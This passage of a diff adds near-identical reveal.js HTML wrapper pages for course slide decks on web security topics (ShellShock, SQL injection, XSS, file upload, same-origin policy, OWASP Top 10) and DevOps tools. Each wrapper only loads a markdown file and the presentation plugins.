+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/session.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+    <script src="../main.js"></script>
+  </body>
+</html>

content/slides/1337/shellshock.html

+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>ShellShock</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/shellshock.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>

content/slides/1337/sidoine.html

+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>Sécurité des applications web</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/sidoine.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>

content/slides/1337/sop.html

+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>SOP</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/sop.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+    <script src="../main.js"></script>
+  </body>
+</html>

content/slides/1337/sqli.html

+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>SQLi</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/sqli.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+    <script src="../main.js"></script><script src="../main.js"></script>
+  </body>
+</html>

content/slides/1337/top10.html

+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>Top 10</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/top10.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>

content/slides/1337/upload.html

+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>Upload</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/upload.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>

content/slides/1337/xss.html

+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>XSS</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/xss.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+    <script src="../main.js"></script>
+  </body>
+</html>

content/slides/cri/ansible-role.html

+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>ansible rôle</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/ansible-role.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js' },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>

content/slides/cri/cri.html

+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>CRI INP / ISIMA / LIMOS</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/cri.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js' },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>

content/slides/cri/devops.html

+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>DevOps</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/devops.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+      <div class="slides">
+        <section data-markdown="md/vagrant.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+      <div class="slides">
+        <section data-markdown="md/ansible.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+      <div class="slides">
+        <section data-markdown="md/vault.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+      <div class="slides">
+        <section data-markdown="md/pve.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+      <div class="slides">
+        <section data-markdown="md/terraform.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+      <div class="slides">
+        <section data-markdown="md/stack.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+      <div class="slides">
+        <section data-markdown="md/gitlab.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+      <div class="slides">
+        <section data-markdown="md/my.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+      <div class="slides">
+        <section data-markdown="md/backup.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+      <div class="slides">
+        <section data-markdown="md/monitoring.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+      <div class="slides">
+        <section data-markdown="md/openstack.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js' },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>

content/slides/cri/gitlab.html

+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>gitlab</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/gitlab.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js' },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>